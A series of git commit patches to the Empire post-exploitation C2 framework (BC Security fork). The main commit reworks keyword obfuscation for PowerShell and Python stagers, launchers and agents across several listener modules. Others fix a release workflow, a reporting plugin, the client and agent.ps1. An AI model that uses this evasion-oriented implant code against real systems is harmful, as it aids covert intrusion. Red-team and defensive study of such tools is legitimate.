release --- .github/workflows/release-sponsor-kali-start.yml | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/.github/workflows/release-sponsor-kali-start.yml b/.github/workflows/release-sponsor-kali-start.yml index 9e7f3c72f..5eda1bd90 100644 --- a/.github/workflows/release-sponsor-kali-start.yml +++ b/.github/workflows/release-sponsor-kali-start.yml @@ -37,6 +37,12 @@ jobs: tag: v${{ env.APP_VERSION }} changelogPath: CHANGELOG-SPONSORS.md skipDiff: false + - name: Commit changelog and manifest files + id: make-commit + run: | + git add -A + git commit --message "Prepare release ${{ env.APP_VERSION }} sponsors" + echo "commit=$(git rev-parse HEAD)" >> $GITHUB_OUTPUT - name: Update Starkiller Version if: ${{ github.event.inputs.starkillerVersion }} uses: ./.github/actions/update-starkiller @@ -44,12 +50,6 @@ jobs: starkiller-version: ${{ env.STARKILLER_TAG }} app-version: ${{ env.APP_VERSION }} changelog-path: CHANGELOG-SPONSORS.md - - name: Commit changelog and manifest files - id: make-commit - run: | - git add -A - git commit --message "Prepare release ${{ env.APP_VERSION }} sponsors" - echo "commit=$(git rev-parse HEAD)" >> $GITHUB_OUTPUT - name: Get release branch name run: | echo "RELEASE_BRANCH=release/$APP_VERSION-sponsors" >> $GITHUB_ENV From c922db0d3bbea1b4038e99b18e219942116f6f67 Mon Sep 17 00:00:00 2001 From: Vince Rose Date: Tue, 27 Jun 2023 21:50:50 -0700 Subject: [PATCH 19/36] fix reporting plugin issue with checkin column --- CHANGELOG.md | 2 ++ empire/server/plugins/basic_reporting.plugin | 2 +- 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 8177ac191..870bc53f8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +- Fix basic_reporting plugin using the wrong agent checkin column + ## [5.5.0] - 2023-06-21 - Break out agent checkins to a new table (@Vinnybod) diff --git a/empire/server/plugins/basic_reporting.plugin b/empire/server/plugins/basic_reporting.plugin index 2f108ce34..9395a05f1 100644 --- a/empire/server/plugins/basic_reporting.plugin +++ b/empire/server/plugins/basic_reporting.plugin @@ -88,7 +88,7 @@ class Plugin(Plugin): writer.writerow(["SessionID", "Hostname", "User Name", "First Check-in"]) for row in db.query(models.Agent).all(): writer.writerow( - [row.session_id, row.hostname, row.username, row.checkin_time] + [row.session_id, row.hostname, row.username, row.firstseen_time] ) output_str = out.getvalue() From e8f190ca0808919e1cc2904b9a414eb7138d1f0f Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Wed, 5 Jul 2023 22:38:08 -0400 Subject: [PATCH 20/36] Fixed keyword obfuscation for stagers and agents (#645) * updated first stagers and agents to fix keyword obfuscation * updated malleable * fixed remaining stagers * fixed test --- empire/server/listeners/dbx.py | 41 ++++++++++++++---- empire/server/listeners/http.py | 42 ++++++++++++------- empire/server/listeners/http_com.py | 24 +++++------ empire/server/listeners/http_foreign.py | 15 +++++-- empire/server/listeners/http_hop.py | 24 ++++++++++- empire/server/listeners/http_malleable.py | 30 +++++++++---- empire/server/listeners/onedrive.py | 33 +++++++++++---- empire/server/listeners/port_forward_pivot.py | 38 ++++++++++++----- empire/server/listeners/smb.py | 14 +++++++ empire/test/test_stager_api.py | 26 ++++++++++-- 10 files changed, 221 insertions(+), 66 deletions(-) diff --git a/empire/server/listeners/dbx.py b/empire/server/listeners/dbx.py index e348072b3..6ac5135a1 100755 --- a/empire/server/listeners/dbx.py +++ b/empire/server/listeners/dbx.py @@ -291,6 +291,8 @@ def generate_launcher( stager, obfuscation_command=obfuscation_command, ) + stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + # base64 encode the stager and return it if encode and ( (not obfuscate) or ("launcher" not in obfuscation_command.lower()) @@ -374,7 +376,13 @@ def generate_launcher( return launcherBase def generate_stager( - self, listenerOptions, encode=False, encrypt=True, language=None + self, + listenerOptions, + encode=False, + encrypt=True, + obfuscate=False, + obfuscation_command="", + language=None, ): """ Generate the stager code needed for communications with this listener. @@ -423,22 +431,27 @@ def generate_stager( } stager = template.render(template_options) - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + stager = listener_util.remove_lines_comments(stager) - unobfuscated_stager = listener_util.remove_lines_comments(stager) + if obfuscate: + stager = self.mainMenu.obfuscationv2.obfuscate( + stager, + obfuscation_command=obfuscation_command, + ) + stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) # base64 encode the stager and return it if encode: - return helpers.enc_powershell(unobfuscated_stager) + return helpers.enc_powershell(stager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4( RC4IV + stagingKey.encode("UTF-8"), - unobfuscated_stager.encode("UTF-8"), + stager.encode("UTF-8"), ) else: # otherwise just return the case-randomized stager - return unobfuscated_stager + return stager elif language.lower() == "python": template_path = [ @@ -461,6 +474,10 @@ def generate_stager( stager = template.render(template_options) + if obfuscate: + stager = self.mainMenu.obfuscationv2.python_obfuscate(stager) + stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + if encode: return base64.b64encode(stager) if encrypt: @@ -509,7 +526,6 @@ def generate_agent( # strip out comments and blank lines code = helpers.strip_powershell_comments(code) - code = self.mainMenu.obfuscationv2.obfuscate_keywords(code) # patch in the delay, jitter, lost limit, and comms profile code = code.replace("$AgentDelay = 60", "$AgentDelay = " + str(delay)) @@ -531,6 +547,13 @@ def generate_agent( ) code = code.replace("REPLACE_COMMS", "") + if obfuscate: + code = self.mainMenu.obfuscationv2.obfuscate( + code, + obfuscation_command=obfuscation_command, + ) + code = self.mainMenu.obfuscationv2.obfuscate_keywords(code) + return code elif language == "python": @@ -568,6 +591,10 @@ def generate_agent( code = code.replace("REPLACE_COMMS", "") + if obfuscate: + code = self.mainMenu.obfuscationv2.python_obfuscate(code) + code = self.mainMenu.obfuscationv2.obfuscate_keywords(code) + return code else: log.error( diff --git a/empire/server/listeners/http.py b/empire/server/listeners/http.py index 5abbe67fd..e91a60168 100755 --- a/empire/server/listeners/http.py +++ b/empire/server/listeners/http.py @@ -384,6 +384,8 @@ def generate_launcher( stager, obfuscation_command=obfuscation_command, ) + stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + # base64 encode the stager and return it if encode and ( (not obfuscate) or ("launcher" not in obfuscation_command.lower()) @@ -482,6 +484,15 @@ def generate_launcher( # download the stager and extract the IV launcherBase += listener_util.python_extract_stager(staging_key) + if obfuscate: + launcherBase = self.mainMenu.obfuscationv2.obfuscate( + launcherBase, + obfuscation_command=obfuscation_command, + ) + launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords( + launcherBase + ) + if encode: launchEncoded = base64.b64encode( launcherBase.encode("UTF-8") @@ -583,10 +594,6 @@ def generate_stager( } stager = template.render(template_options) - # Get the random function name generated at install and patch the stager with the proper function name - if obfuscate: - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) - # make sure the server ends with "/" if not host.endswith("/"): host += "/" @@ -605,24 +612,26 @@ def generate_stager( ) stagingKey = stagingKey.encode("UTF-8") - unobfuscated_stager = listener_util.remove_lines_comments(stager) + stager = listener_util.remove_lines_comments(stager) if obfuscate: - unobfuscated_stager = self.mainMenu.obfuscationv2.obfuscate( - unobfuscated_stager, obfuscation_command=obfuscation_command + stager = self.mainMenu.obfuscationv2.obfuscate( + stager, obfuscation_command=obfuscation_command ) + stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + # base64 encode the stager and return it # There doesn't seem to be any conditions in which the encrypt flag isn't set so the other # if/else statements are irrelevant if encode: - return helpers.enc_powershell(unobfuscated_stager) + return helpers.enc_powershell(stager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4( - RC4IV + stagingKey, unobfuscated_stager.encode("UTF-8") + RC4IV + stagingKey, stager.encode("UTF-8") ) else: - return unobfuscated_stager + return stager elif language.lower() == "python": template_path = [ @@ -645,6 +654,10 @@ def generate_stager( } stager = template.render(template_options) + if obfuscate: + stager = self.mainMenu.obfuscationv2.python_obfuscate(stager) + stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + # base64 encode the stager and return it if encode: return base64.b64encode(stager) @@ -693,10 +706,6 @@ def generate_agent( with open(self.mainMenu.installPath + "/data/agent/agent.ps1") as f: code = f.read() - if obfuscate: - # Get the random function name generated at install and patch the stager with the proper function name - code = self.mainMenu.obfuscationv2.obfuscate_keywords(code) - # strip out comments and blank lines code = helpers.strip_powershell_comments(code) @@ -721,6 +730,7 @@ def generate_agent( code, obfuscation_command=obfuscation_command, ) + code = self.mainMenu.obfuscationv2.obfuscate_keywords(code) return code elif language == "python": @@ -758,6 +768,10 @@ def generate_agent( f'workingHours = "{ killDate }"', ) + if obfuscate: + code = self.mainMenu.obfuscationv2.python_obfuscate(code) + code = self.mainMenu.obfuscationv2.obfuscate_keywords(code) + return code elif language == "csharp": # currently the agent is stagless so do nothing diff --git a/empire/server/listeners/http_com.py b/empire/server/listeners/http_com.py index a11f9be41..ca4008a52 100755 --- a/empire/server/listeners/http_com.py +++ b/empire/server/listeners/http_com.py @@ -318,6 +318,8 @@ def generate_launcher( stager, obfuscation_command=obfuscation_command, ) + stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + # base64 encode the stager and return it if encode and ( (not obfuscate) or ("launcher" not in obfuscation_command.lower()) @@ -383,9 +385,6 @@ def generate_stager( } stager = template.render(template_options) - # Get the random function name generated at install and patch the stager with the proper function name - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) - # make sure the server ends with "/" if not host.endswith("/"): host += "/" @@ -409,24 +408,26 @@ def generate_stager( ) stagingKey = stagingKey.encode("UTF-8") - unobfuscated_stager = listener_util.remove_lines_comments(stager) + stager = listener_util.remove_lines_comments(stager) if obfuscate: - unobfuscated_stager = self.mainMenu.obfuscationv2.obfuscate( - unobfuscated_stager, + stager = self.mainMenu.obfuscationv2.obfuscate( + stager, obfuscation_command=obfuscation_command, ) + stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + # base64 encode the stager and return it if encode: - return helpers.enc_powershell(unobfuscated_stager) + return helpers.enc_powershell(stager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4( - RC4IV + stagingKey, unobfuscated_stager.encode("UTF-8") + RC4IV + stagingKey, stager.encode("UTF-8") ) else: # otherwise just return the case-randomized stager - return unobfuscated_stager + return stager else: log.error( @@ -462,9 +463,6 @@ def generate_agent( code = f.read() f.close() - # Get the random function name generated at install and patch the stager with the proper function name - code = self.mainMenu.obfuscationv2.obfuscate_keywords(code) - # strip out comments and blank lines code = helpers.strip_powershell_comments(code) @@ -492,6 +490,8 @@ def generate_agent( code, obfuscation_command=obfuscation_command, ) + code = self.mainMenu.obfuscationv2.obfuscate_keywords(code) + return code else: diff --git a/empire/server/listeners/http_foreign.py b/empire/server/listeners/http_foreign.py index 59b392774..088cbcef0 100755 --- a/empire/server/listeners/http_foreign.py +++ b/empire/server/listeners/http_foreign.py @@ -285,6 +285,8 @@ def generate_launcher( stager, obfuscation_command=obfuscation_command, ) + stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + # base64 encode the stager and return it if encode and ( (not obfuscate) or ("launcher" not in obfuscation_command.lower()) @@ -294,9 +296,7 @@ def generate_launcher( # otherwise return the case-randomized stager return stager - if language.startswith("py"): - # Python - + if language in ["python", "ironpython"]: launcherBase = "import sys;" if "https" in host: # monkey patch ssl woohooo @@ -372,6 +372,15 @@ def generate_launcher( # download the stager and extract the IV launcherBase += listener_util.python_extract_stager(stagingKey) + if obfuscate: + launcherBase = self.mainMenu.obfuscationv2.obfuscate( + launcherBase, + obfuscation_command=obfuscation_command, + ) + launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords( + launcherBase + ) + if encode: launchEncoded = base64.b64encode( launcherBase.encode("UTF-8") diff --git a/empire/server/listeners/http_hop.py b/empire/server/listeners/http_hop.py index 84c120688..5039fae4c 100755 --- a/empire/server/listeners/http_hop.py +++ b/empire/server/listeners/http_hop.py @@ -236,6 +236,8 @@ def generate_launcher( stager, obfuscation_command=obfuscation_command, ) + stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + # base64 encode the stager and return it if encode and ( (not obfuscate) or ("launcher" not in obfuscation_command.lower()) @@ -322,6 +324,15 @@ def generate_launcher( # download the stager and extract the IV launcherBase += listener_util.python_extract_stager(staging_key) + if obfuscate: + launcherBase = self.mainMenu.obfuscationv2.obfuscate( + launcherBase, + obfuscation_command=obfuscation_command, + ) + launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords( + launcherBase + ) + if encode: launchEncoded = base64.b64encode( launcherBase.encode("UTF-8") @@ -420,6 +431,10 @@ def generate_stager( obfuscated_stager = self.mainMenu.obfuscationv2.obfuscate( unobfuscated_stager, obfuscation_command=obfuscation_command ) + obfuscated_stager = self.mainMenu.obfuscationv2.obfuscate_keywords( + obfuscated_stager + ) + # base64 encode the stager and return it # There doesn't seem to be any conditions in which the encrypt flag isn't set so the other # if/else statements are irrelevant @@ -433,7 +448,7 @@ def generate_stager( else: return obfuscated_stager - elif language.lower() == "python": + if language in ["python", "ironpython"]: template_path = [ os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), @@ -455,6 +470,13 @@ def generate_stager( stager = template.render(template_options) # base64 encode the stager and return it + if obfuscate: + stager = self.mainMenu.obfuscationv2.obfuscate( + stager, + obfuscation_command=obfuscation_command, + ) + stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + if encode: return base64.b64encode(stager) if encrypt: diff --git a/empire/server/listeners/http_malleable.py b/empire/server/listeners/http_malleable.py index bcd242486..252bf4cbb 100644 --- a/empire/server/listeners/http_malleable.py +++ b/empire/server/listeners/http_malleable.py @@ -449,6 +449,7 @@ def generate_launcher( launcherBase, obfuscation_command=obfuscation_command, ) + stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) if encode and ( (not obfuscate) or ("launcher" not in obfuscation_command.lower()) @@ -565,6 +566,10 @@ def generate_launcher( launcherBase += "a=urllib.request.urlopen(req).read();\n" launcherBase += listener_util.python_extract_stager(stagingKey) + if obfuscate: + stager = self.mainMenu.obfuscationv2.python_obfuscate(stager) + stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + if encode: launchEncoded = base64.b64encode( launcherBase.encode("UTF-8") @@ -665,25 +670,24 @@ def generate_stager( ) stagingKey = stagingKey.encode("UTF-8") - unobfuscated_stager = listener_util.remove_lines_comments( - comms_code + stager - ) + stager = listener_util.remove_lines_comments(comms_code + stager) if obfuscate: - unobfuscated_stager = self.mainMenu.obfuscationv2.obfuscate( - unobfuscated_stager, + stager = self.mainMenu.obfuscationv2.obfuscate( + stager, obfuscation_command=obfuscation_command, ) + stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) if encode: - return helpers.enc_powershell(unobfuscated_stager) + return helpers.enc_powershell(stager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4( - RC4IV + stagingKey, unobfuscated_stager.encode("UTF-8") + RC4IV + stagingKey, stager.encode("UTF-8") ) else: - return unobfuscated_stager + return stager elif language.lower() == "python": comms_code = self.generate_comms( @@ -711,6 +715,10 @@ def generate_stager( stager = template.render(template_options) stager = stager.replace("REPLACE_COMMS", comms_code) + if obfuscate: + stager = self.mainMenu.obfuscationv2.python_obfuscate(stager) + stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + if encode: return base64.b64encode(stager) elif encrypt: @@ -795,6 +803,8 @@ def generate_agent( code, obfuscation_command=obfuscation_command, ) + code = self.mainMenu.obfuscationv2.obfuscate_keywords(code) + return code elif language == "python": @@ -830,6 +840,10 @@ def generate_agent( 'workingHours = ""', f'workingHours = "{ workingHours }"' ) + if obfuscate: + code = self.mainMenu.obfuscationv2.python_obfuscate(code) + code = self.mainMenu.obfuscationv2.obfuscate_keywords(code) + return code else: log.error( diff --git a/empire/server/listeners/onedrive.py b/empire/server/listeners/onedrive.py index f2e6ba542..05055d86e 100755 --- a/empire/server/listeners/onedrive.py +++ b/empire/server/listeners/onedrive.py @@ -293,6 +293,7 @@ def generate_launcher( launcher, obfuscation_command=obfuscation_command, ) + launcher = self.mainMenu.obfuscationv2.obfuscate_keywords(launcher) if encode and ( (not obfuscate) or ("launcher" not in obfuscation_command.lower()) @@ -308,7 +309,14 @@ def generate_launcher( return "Python not implemented yet" def generate_stager( - self, listenerOptions, encode=False, encrypt=True, language=None, token=None + self, + listenerOptions, + encode=False, + encrypt=True, + language=None, + token=None, + obfuscate=False, + obfuscation_command="", ): """ Generate the stager code @@ -354,21 +362,24 @@ def generate_stager( "taskings_folder": taskings_folder, } stager = template.render(template_options) + stager = listener_util.remove_lines_comments(stager) - # Get the random function name generated at install and patch the stager with the proper function name - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) - unobfuscated_stager = listener_util.remove_lines_comments(stager) + if obfuscate: + stager = self.mainMenu.obfuscationv2.obfuscate( + stager, obfuscation_command=obfuscation_command + ) + stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) if encode: - return helpers.enc_powershell(unobfuscated_stager) + return helpers.enc_powershell(stager) elif encrypt: RC4IV = os.urandom(4) staging_key = staging_key.encode("UTF-8") return RC4IV + encryption.rc4( - RC4IV + staging_key, unobfuscated_stager.encode("UTF-8") + RC4IV + staging_key, stager.encode("UTF-8") ) else: - return unobfuscated_stager + return stager else: log.error("Python agent not available for Onedrive") @@ -432,6 +443,8 @@ def generate_agent( redirect_uri, language=None, version="", + obfuscate=False, + obfuscation_command="", ): """ Generate the agent code @@ -483,6 +496,12 @@ def generate_agent( agent_code = agent_code.replace("REPLACE_COMMS", "") + if obfuscate: + agent_code = self.mainMenu.obfuscationv2.obfuscate( + agent_code, obfuscation_command=obfuscation_command + ) + agent_code = self.mainMenu.obfuscationv2.obfuscate_keywords(agent_code) + return agent_code def start_server(self, listenerOptions): diff --git a/empire/server/listeners/port_forward_pivot.py b/empire/server/listeners/port_forward_pivot.py index 8ebb7e34f..c4ac20c9f 100755 --- a/empire/server/listeners/port_forward_pivot.py +++ b/empire/server/listeners/port_forward_pivot.py @@ -250,6 +250,8 @@ def generate_launcher( stager, obfuscation_command=obfuscation_command, ) + stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + # base64 encode the stager and return it if encode and ( (not obfuscate) or ("launcher" not in obfuscation_command.lower()) @@ -353,6 +355,14 @@ def generate_launcher( # download the stager and extract the IV launcherBase += listener_util.python_extract_stager(stagingKey) + if obfuscate: + launcherBase = self.mainMenu.obfuscationv2.python_obfuscate( + launcherBase, obfuscation_command=obfuscation_command + ) + launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords( + launcherBase + ) + if encode: launchEncoded = base64.b64encode( launcherBase.encode("UTF-8") @@ -456,8 +466,6 @@ def generate_stager( } stager = template.render(template_options) - # Get the random function name generated at install and patch the stager with the proper function name - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) # make sure the server ends with "/" if not host.endswith("/"): host += "/" @@ -476,21 +484,22 @@ def generate_stager( ) stagingKey = stagingKey.encode("UTF-8") - unobfuscated_stager = listener_util.remove_lines_comments(stager) + stager = listener_util.remove_lines_comments(stager) if obfuscate: - unobfuscated_stager = self.mainMenu.obfuscationv2.obfuscate( - unobfuscated_stager, - obfuscation_command=obfuscation_command, + stager = self.mainMenu.obfuscationv2.obfuscate( + stager, obfuscation_command=obfuscation_command ) + stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + # base64 encode the stager and return it if encode: - return helpers.enc_powershell(unobfuscated_stager) + return helpers.enc_powershell(stager) elif encrypt: RC4IV = os.urandom(4) - return RC4IV + encryption.rc4(RC4IV + stagingKey, unobfuscated_stager) + return RC4IV + encryption.rc4(RC4IV + stagingKey, stager) else: - return unobfuscated_stager + return stager elif language.lower() == "python": template_path = [ @@ -513,6 +522,10 @@ def generate_stager( } stager = template.render(template_options) + if obfuscate: + stager = self.mainMenu.obfuscationv2.python_obfuscate(stager) + stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + # base64 encode the stager and return it if encode: return base64.b64encode(stager) @@ -557,8 +570,6 @@ def generate_agent( if language == "powershell": with open(self.mainMenu.installPath + "/data/agent/agent.ps1") as f: code = f.read() - # Get the random function name generated at install and patch the stager with the proper function name - code = self.mainMenu.obfuscationv2.obfuscate_keywords(code) # strip out comments and blank lines code = helpers.strip_powershell_comments(code) @@ -586,6 +597,8 @@ def generate_agent( code, obfuscation_command=obfuscation_command, ) + code = self.mainMenu.obfuscationv2.obfuscate_keywords(code) + return code elif language == "python": @@ -620,6 +633,9 @@ def generate_agent( 'workingHours = ""', 'workingHours = "%s"' % (killDate) ) + if obfuscate: + code = self.mainMenu.obfuscationv2.python_obfuscate(code) + code = self.mainMenu.obfuscationv2.obfuscate_keywords(code) return code elif language == "csharp": # currently the agent is stageless so do nothing diff --git a/empire/server/listeners/smb.py b/empire/server/listeners/smb.py index 60e1cd319..ed8abb016 100755 --- a/empire/server/listeners/smb.py +++ b/empire/server/listeners/smb.py @@ -212,6 +212,12 @@ def generate_launcher( # download the stager and extract the IV launcherBase += listener_util.python_extract_stager(stagingKey) + if obfuscate: + launcherBase = self.mainMenu.obfuscationv2.obfuscate(launcherBase) + launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords( + launcherBase + ) + if encode: launchEncoded = base64.b64encode( launcherBase.encode("UTF-8") @@ -287,6 +293,10 @@ def generate_stager( } stager = template.render(template_options) + if obfuscate: + stager = self.mainMenu.obfuscationv2.python_obfuscate(stager) + stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + # base64 encode the stager and return it if encode: return base64.b64encode(stager) @@ -365,6 +375,10 @@ def generate_agent( 'workingHours = ""', 'workingHours = "%s"' % (killDate) ) + if obfuscate: + code = self.mainMenu.obfuscationv2.python_obfuscate(code) + code = self.mainMenu.obfuscationv2.obfuscate_keywords(code) + return code else: log.error( diff --git a/empire/test/test_stager_api.py b/empire/test/test_stager_api.py index 52f8f7115..20adf9da4 100644 --- a/empire/test/test_stager_api.py +++ b/empire/test/test_stager_api.py @@ -96,6 +96,26 @@ def test_create_stager_one_liner(client, base_stager, admin_auth_header): my_globals["stager_id_1"] = response.json()["id"] +def test_create_obfuscated_stager_one_liner(client, base_stager, admin_auth_header): + # test that it ignore extra params + base_stager["options"]["xyz"] = "xyz" + + base_stager["name"] = "My_Obfuscated_Stager" + base_stager["options"]["Obfuscate"] = "True" + + response = client.post( + "/api/v2/stagers/?save=true", headers=admin_auth_header, json=base_stager + ) + assert response.status_code == 201 + assert response.json()["options"].get("xyz") is None + assert len(response.json().get("downloads", [])) > 0 + assert ( + response.json().get("downloads", [])[0]["link"].startswith("/api/v2/downloads") + ) + + my_globals["stager_id_1"] = response.json()["id"] + + def test_create_stager_file(client, base_stager_2, admin_auth_header): # test that it ignore extra params base_stager_2["options"]["xyz"] = "xyz" @@ -251,7 +271,7 @@ def test_get_stagers(client, admin_auth_header): ) assert response.status_code == 200 - assert len(response.json()["records"]) == 2 + assert len(response.json()["records"]) == 3 def test_delete_stager(client, admin_auth_header): @@ -260,7 +280,7 @@ def test_delete_stager(client, admin_auth_header): headers=admin_auth_header, ) assert response.status_code == 200 - assert len(response.json()["records"]) == 2 + assert len(response.json()["records"]) == 3 to_delete = response.json()["records"][0] response = client.delete( @@ -274,7 +294,7 @@ def test_delete_stager(client, admin_auth_header): headers=admin_auth_header, ) assert response.status_code == 200 - assert len(response.json()["records"]) == 1 + assert len(response.json()["records"]) == 2 assert response.json()["records"][0]["id"] != to_delete["id"] From a8fcdd6f713f5f8b271aaa9a8b01bcab6f45a9c7 Mon Sep 17 00:00:00 2001 From: GitHub Actions Date: Thu, 6 Jul 2023 02:55:54 +0000 Subject: [PATCH 21/36] Prepare release 5.5.1 private --- CHANGELOG.md | 6 +++++- empire/server/common/empire.py | 2 +- pyproject.toml | 2 +- 3 files changed, 7 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 870bc53f8..9b5207916 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +## [5.5.1] - 2023-07-06 + - Fix basic_reporting plugin using the wrong agent checkin column ## [5.5.0] - 2023-06-21 @@ -522,7 +524,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Updated shellcoderdi to newest version (@Cx01N) - Added a Nim launcher (@Hubbl3) -[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.5.0...HEAD +[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.5.1...HEAD + +[5.5.1]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.5.0...v5.5.1 [5.5.0]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.4.2...v5.5.0 diff --git a/empire/server/common/empire.py b/empire/server/common/empire.py index ecb62d751..6a5c45edc 100755 --- a/empire/server/common/empire.py +++ b/empire/server/common/empire.py @@ -39,7 +39,7 @@ from . import agents, credentials, listeners, stagers -VERSION = "5.5.0 BC Security Fork" +VERSION = "5.5.1 BC Security Fork" log = logging.getLogger(__name__) diff --git a/pyproject.toml b/pyproject.toml index 01a9e2ef9..115898c14 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "empire-bc-security-fork" -version = "5.5.0" +version = "5.5.1" description = "" authors = ["BC Security "] readme = "README.md" From 7eac52c6f9975944f16303b4c750521f3e6427d4 Mon Sep 17 00:00:00 2001 From: Vince Rose Date: Wed, 5 Jul 2023 20:17:46 -0700 Subject: [PATCH 22/36] changelog --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 870bc53f8..8ccd285a8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,6 +8,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] - Fix basic_reporting plugin using the wrong agent checkin column +- Upgrade dependencies ## [5.5.0] - 2023-06-21 From 090f19cbedbe9f88078a9d8514eefbb6eea7789c Mon Sep 17 00:00:00 2001 From: Vince Rose Date: Wed, 5 Jul 2023 20:19:07 -0700 Subject: [PATCH 23/36] Revert "changelog" This reverts commit 7eac52c6f9975944f16303b4c750521f3e6427d4. --- CHANGELOG.md | 1 - 1 file changed, 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 8ccd285a8..870bc53f8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,7 +8,6 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] - Fix basic_reporting plugin using the wrong agent checkin column -- Upgrade dependencies ## [5.5.0] - 2023-06-21 From 4b3b354d339dd29296dd1a6343bd87e859314377 Mon Sep 17 00:00:00 2001 From: Jelly Robot Date: Fri, 14 Jul 2023 11:35:15 +0800 Subject: [PATCH 24/36] Fixes TypeError when displaying main menu in client.py (#677) --- empire/client/client.py | 1 + 1 file changed, 1 insertion(+) diff --git a/empire/client/client.py b/empire/client/client.py index e6a30a866..61f0ddcc1 100644 --- a/empire/client/client.py +++ b/empire/client/client.py @@ -287,6 +287,7 @@ def parse_command_line(self, text: str, cmd_line: List[str], resource_file=False state.get_listeners() print_util.title( state.empire_version, + f"{state.host}:{state.port}" if state.connected else "", len(state.modules), len(state.listeners), len(state.active_agents), From 8d24c03f3f3cc13e815bf66d02e90b6434ba2699 Mon Sep 17 00:00:00 2001 From: Vince Rose Date: Thu, 13 Jul 2023 20:37:58 -0700 Subject: [PATCH 25/36] changelog --- CHANGELOG.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 9b5207916..0a1b0da2e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +- Fix TypeError and crash when using `main` command in client (@jellyjellyrobot) + ## [5.5.1] - 2023-07-06 - Fix basic_reporting plugin using the wrong agent checkin column From 990e3fed3299956180c95f706c81939a120c2665 Mon Sep 17 00:00:00 2001 From: Mirco Geremia Date: Fri, 14 Jul 2023 05:39:48 +0200 Subject: [PATCH 26/36] Fixed wrong semi-colon between 'if-else' for Literal execution in powershell Agents (#675) --- empire/server/data/agent/agent.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/empire/server/data/agent/agent.ps1 b/empire/server/data/agent/agent.ps1 index b2af2e418..f12a9a708 100644 --- a/empire/server/data/agent/agent.ps1 +++ b/empire/server/data/agent/agent.ps1 @@ -275,7 +275,7 @@ function Invoke-Empire { $output = ''; if ($cmd.ToLower() -eq 'shell') { # if we have a straight 'shell' command, skip the aliases - if ($cmdargs.length -eq '') { $output = 'no shell command supplied' }; + if ($cmdargs.length -eq '') { $output = 'no shell command supplied' } else { $OldConsoleOut = [Console]::Out; $StringWriter = New-Object IO.StringWriter; From 8cef7f782a9f577ea3a625b07f2e4588852f209d Mon Sep 17 00:00:00 2001 From: Vince Rose Date: Thu, 13 Jul 2023 20:41:12 -0700 Subject: [PATCH 27/36] changelog --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 0a1b0da2e..365f032d9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,6 +8,7 @@ 